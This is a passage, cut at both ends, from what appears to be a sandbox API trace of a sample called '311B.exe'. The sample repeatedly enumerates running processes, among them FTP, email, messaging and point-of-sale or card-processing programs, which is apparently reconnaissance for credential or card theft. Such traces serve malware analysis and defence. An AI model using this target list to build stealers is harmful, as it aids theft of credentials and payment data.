hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0224.702] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0224.704] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0224.705] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0224.707] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0224.708] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0224.710] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0224.712] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0224.715] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0224.719] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0224.721] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0224.724] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0224.727] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0224.729] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0224.732] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0224.734] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0224.737] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0224.788] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0224.791] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0224.793] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0224.796] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0224.798] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0224.801] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0224.804] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0224.806] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0224.809] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0224.811] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0224.814] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0224.816] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0224.819] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0224.821] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0224.824] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0224.826] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0224.828] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0224.830] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0224.881] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0224.884] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0224.886] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0224.888] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0224.890] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0224.892] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0224.894] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0224.895] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0224.897] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0224.899] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0224.900] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0224.902] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0224.903] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0224.904] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0224.906] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.908] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.909] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0224.911] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0224.912] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0224.914] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0224.915] CloseHandle (hObject=0x15f0) returned 1 [0224.915] Sleep (dwMilliseconds=0x64) [0224.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0224.969] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.971] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.973] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.975] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.976] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.978] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.979] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.981] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.983] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.984] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.986] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.988] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.989] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.991] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.992] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.994] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.995] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.997] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.998] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.000] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.001] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0225.052] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0225.055] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.057] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.059] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0225.061] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0225.064] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0225.066] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.068] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, 